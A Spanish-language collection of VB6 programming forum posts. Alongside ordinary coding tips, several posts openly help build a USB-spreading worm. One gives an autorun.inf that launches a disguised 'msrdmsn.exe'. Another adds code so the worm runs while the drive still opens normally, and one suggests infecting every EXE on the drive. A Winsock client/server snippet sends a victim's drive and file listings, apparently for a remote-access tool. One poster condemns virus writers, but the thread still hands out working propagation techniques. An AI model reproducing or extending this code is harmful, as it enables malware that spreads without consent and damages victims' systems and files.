Mensajes

a si si quieres alojar una rchivo en una variable usa

Código (Vb) [Seleccionar] Expandir


Open Ruta for binary as 1
     get 1,,Variable
close 1
'Procesos deseados


Lo que tu haces es solo almacenar la ruta del archivo.

Saludos, Dulces Lunas

PAra verificar si existe un Directorio, Archivo o no se yo lo que desees usa:

Código (vb) [Seleccionar] Expandir


if dir(RutaEXE/Directorio,tipo) then
     'Si Existe
else
     'No Existe
end if


Este solo corrige el directorio residente del archivo para posteriormente concatenar solamente el nombre/extensión

Código (vb) [Seleccionar] Expandir


If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"


Saludos, Dulces Lunas

[Por eso si lo haces para aprender te doy todo mi apollo.. si quieres usarlo para mal o molestar te deseo todo lo peor ...]

De verdad esas mierdas joden a gente que usa eso para trabajar como a mi madre
que le entro una p**a ***** de esas.. odio.. rotundamente odio a la gente que usa estos codigos para usarlos maliciosamente.. quizas no seas vos el caso que lo use para mal sino para aprender pero de verdad odio y mataria a la gente que lo usa para hacer mal o simplemente molestar... Para que lo hacen? tienen alguna carencia familiar? Son de naturaleza maldosa?...
Porque la gente no les hace nada para que hagan esa *****!!!!
De verdad no pierdan el tiempo haciendo eso...
Yo lo mas malo que he echo es un espiador de WebCam pero nunca, nunca lo saque a la luz ni siquiera done el Source como Hizo el de MSN Kiker que se hizo un escandalo tremendo cuando llego a las manos de los niñatos ...

Por eso si lo haces para aprender te doy todo mi apollo.. si quieres usarlo para mal o molestar te deseo todo lo peor ...
Porque gente como mi madre que usan eso para trabajar, llevar facturas en ellos y todo eso no tienen la culpa de carencias mentales de la gente que hacen esos virus para la finalidad que le quieran dar

Salu2

Ranslsad

Un gusano no siempre es Maligno en ocasiones beneficia al usuario en seguridad, solo es considerado gusano a aquel soft que se difunde de forma oculta y sin permiso el usuario (aun que esto en cierta forma es malo).

De igual forma puede usarse para diversas formas un gusano, por ejemplo yo en mi escuela use un gusano que se difundio exitosamente en todas las Computadoras, OJO no era malicioso lo unico que difundio fue un Desabilitador de Autorun.Inf (PAra evitar autoejecucion del Autorun.inf de USB, CD/DVD y/o HD), y a su vez un Switch de USB (algo asi como Permitir/Denegar escritura en un disco flexible pero en USB.), que solo funcionaba en un cierto grupo de trabajo de PC para evitar la dispercion masiva y ser considerado. Era algo estrepitoso pero factible ya que como mi usb a cada rato se me infectaba y se me jodian mis EXE (que lo cual era reversible ante la infeccion).

ok, gracias, voy a averiguar el porque

hare lo que me has dicho blackzero+ lo imprimire de forma local en un textbox, luego de manera remota y despues si funciona bien, lo pasare a el control correspondiente, haber si me funciona

sino debere pasar los path de directorios y ficheros del cliente a otro formato para poder enviarlos ya que me han dicho que los drivelist, dirlist y filelist no se pueden enviar

es eso verdad?

sus items si se pueden enviar

es como si manejaras un listbox o listview por decir algunos arecido

En este caso es practicamente lo mismo, realizas un bucle que pase TODOS los items de estos elementos a una variable tipo String (con su separacion entre cada uno de estos, ojo con eso) y ya posteriormente envias los datos, revisa la documentación de esos controles.

De igual forma puedes quitar esas dependencias feas con codigo y alivianar dicho Programa, en ete foro ya estan dichos codigos solo hay que buscarlos

Saludos, Dulces Lunas

yo hice algo parecido con c pero como ahi no hay el App.Path... es algo sencillo pero cuando lo haces por primera vez... es otra historia. Pero imaginense como se hari aen ensamblador  , que rompedura de cabeza ...

igual puedes usar:

Código:

shell\explore\Command=TuEXE

Código [Seleccionar] Expandir



y de igual forma en las demas opciones solo debes aprender a leer el regitro de windows, para saber identificar estas lineas...¡!



el problema con esto es que no funciona en vista, bueno lo otro si funciona pero te aparece el autorun de un cd cuando vas a instalar un programa

Solucion:

Infectar todo EXE en la USB para que estos actuen de forma de residente es decir:

Gusado & Separador & AplicacionOriginal

Lo demas es chacharra y media.

Saludos, Dulces Lunas.

Código [Seleccionar] Expandir

validacion sencilla

[code=Vb]
if len(app.patch) =3 then
ShellExecute 0, "Open", App.Path, "", "", 1
end if
'Demas Procesos


otra cosa

yo no te dige esto peroigual puedes usar el autorun.inf:

Código [Seleccionar] Expandir


shell\explore\Command=TuEXE


y de igual forma en las demas opciones solo debes aprender a leer el regitro de windows, para saber identificar estas lineas...¡!


P.D.: Ajala volviecen a poner el botoncito de borrar Post...¡!

Saludos Dulces Lunas.[/code]

Buenas ! y gracia spor el tiempo bueno mi problema es que estoy haciendo un gusanito el cual se esparce por medio de memorias USB FLASH ahora este es el codigo que uso en el autorun.inf:
[autorun]
open=msrdmsn.exe
UseAutoPlay = 1
action=@msrdmsn.exe
shell\open=Abrir
shell\open\Command=msrdmsn.exe
shell\open\Command=msrdmsn.exe

bueno la infeccion me funciona bien tengo una funcion que busca unidades y si encuentra una avilitada se copia en ese drive con el nombre "msrdmsn.exe" bueno la cosa es que cuando los archivos se copian al flash y el flash es retirado y depues introducido a otra maquina o ala misma cuando entro a MI PC y hago doble Click Perfecto el autorun funciona y mi archivo se ejecuta (msrdmsn.exe)  pero es imposible acceder por medio de Mi Pc a las carpetas que estan adentro del flash la unica manera es ir Inicio-accesorios-explorar de windows desde ahi si,,,,,,, pero yo quisiera que el usuario al hacer doble click en la unidad del Flash de MIPC mi archivo se ejecute pero tambien el usuario pueda entrar a explorar sus carpetas y documentos ,espero dejarme a entender ?¿ hehe ssaludos y hasta luego !!!

agrega este codigo a tu gusano al inicio habitualmente yo uso siempre el proceso sub main

Código (vb) [Seleccionar] Expandir


Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Sub main()
ShellExecute 0, "Open", App.Path, "", "", 1
'Aca  ahora si ejecutamos los demas procesos como carga de formualrios y demas
End Sub


ojo use App.Patch para ejecutar el directorio actual, en tu caso en el directorio raiz cual es que se pide.

Para que cuando se autoejecute, por si mismo ya sea por medio de registro, por carpeta inicio, o cualquier otro medio no aparezca la carpeta que contenga el exe por ejemplo "c:\windows\system32" por decir algo hayq ue validar el directorio contenedor del gusano.

P.D.: Me parece que abre una ventana nueva jom xP, pero algo es algo aun en penumbra/indolora.

Saludos Dulces Lunas.

si, ahora mismo uso este que me dijeron %)% que no creo que se use jeje

la informacion que me es mandada va desde el cliente al servidor

por cierto, estoy intentando hacer esto

creo en el cliente un filelist un drivelist y un dirlist y les conecto los 3, y luego intento mandarlos asi:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Dim datos As String
datos = txthst & "%)%" & txtso & "%)%" & drv.Drive & "%)%" & Dir.Path & "%)%" & file.Path
wsk.SendData datos
End Sub

luego despues en el servidor se reciben asi:

Código [Seleccionar] Expandir

Private Sub wsk_dataarrival(ByVal bytestotal As Long)
Dim datos As String
Dim trozos() As String
wsk.GetData datos
trozos = Split(datos, "%)%")
txthst = trozos(0)
txtso = trozos(1)
[b]drv.Drive = trozos(2)
Dir.Path = trozos(3)
File.Path = trozos(3)[/b]
End Sub

en el server he llamado a los objetos igual que en el cliente, y al asociarlos con los datos enviados del drv.drive, dir.path y file.path me pasa esto:

prueba tu string enviado imprimelo y si va todo bien pasalo a un control no te hace daño avriguar error por ti mismo de vez en cuando si no todo lo contrario te auto-enriqueses en todo aspecto.

P.D.: no digo que no preguntes, solo que intentes ver que datos realmente se estan enviando y resiviendo, no hagas todo de jalon haslo en partes y cuando cada parte este lista unelos asi es mas facil.¡!,... al ultimo deja la interface para que se vea bonita lo primero son los controles que interbienen, posteriormente sus acciones, entre otros, y por ultimo la interface bonita, si asi lo deseas (esto ultimo es solo un consejo).

OTra forma aparte de la que te proporsionaron es sustituir el EXE de tu juego por un EXE que le haga de intermediario es decir algo asi:

Modulo:

Código (vb) [Seleccionar] Expandir


Sub Main()
    Dim RutEXE As String, RutEXEParam As String
    ' Un Fix si App.patch devuelve \ al final, claro ejemplo C:\ u otra unidad.
    RutEXE = IIf(Right(App.Path, 1) = "\", App.Path, App.Path & "\")
    RutEXEParam = RutEXE & "APP.exe " & Command$
    Open RutEXE & "Log_Parametros.log" For Binary As 1
        Seek 1, LOF(1) + 1
        Put 1, , RutEXEParam & vbNewLine
    Close 1
    Shell RutEXEParam, vbNormalFocus
End Sub


Es facil compila este codigo con el mismo nombre y en dado caso extensión si es requerido por el exe a ver sus parametros directamente

El Archivo que es lanzado habitualmente es un EXE cambiale el nombre a App.exe y este que has compilado ponlo en su lugar, todo ira normal como si nada solo que ese exe intermediario registrara TODOS los parametros antes de ejecutar el eXE Original pedido por tu launcher. es a prueba de error.¡!

este es otro formato de if then con retorno directo a una variable


Variable=iif(SentenciaACumplir,SiEsVerdadero,SiesFalso)

Ejemplo:


En un Modulo pega este quita el Form y pon como proceso inicial a "Sub Main()".

Código (vb) [Seleccionar] Expandir


Sub Main()
    Dim años As Integer, r As String
    años = Val(InputBox("Edad", "Edad", "18"))
    r = CStr(InputBox("Raza", "Raza", "Albino"))
    retorno = IIf(años < 18, "Menor de 18" & IIf(r <> "", ", y es " & r, ""), "Mayor de 18" & IIf(r <> "", ", y es " & r, ""))
    MsgBox retorno, vbOKOnly + vbInformation, "Retorno No. 1"
    Call Main2(Val(años), CStr(r))
End Sub

Sub Main2(ByVal Edad As Integer, Raza As String)
    Dim años As Integer, r As String
    años = Edad
    r = Raza
    retorno = IIf(r <> "", ", y es " & r, "")
    retorno = IIf(años < 18, "Menor de 18" & retorno, "Mayor de 18" & retorno)
    MsgBox retorno, vbOKOnly + vbInformation, "Retorno No. 2"
End Sub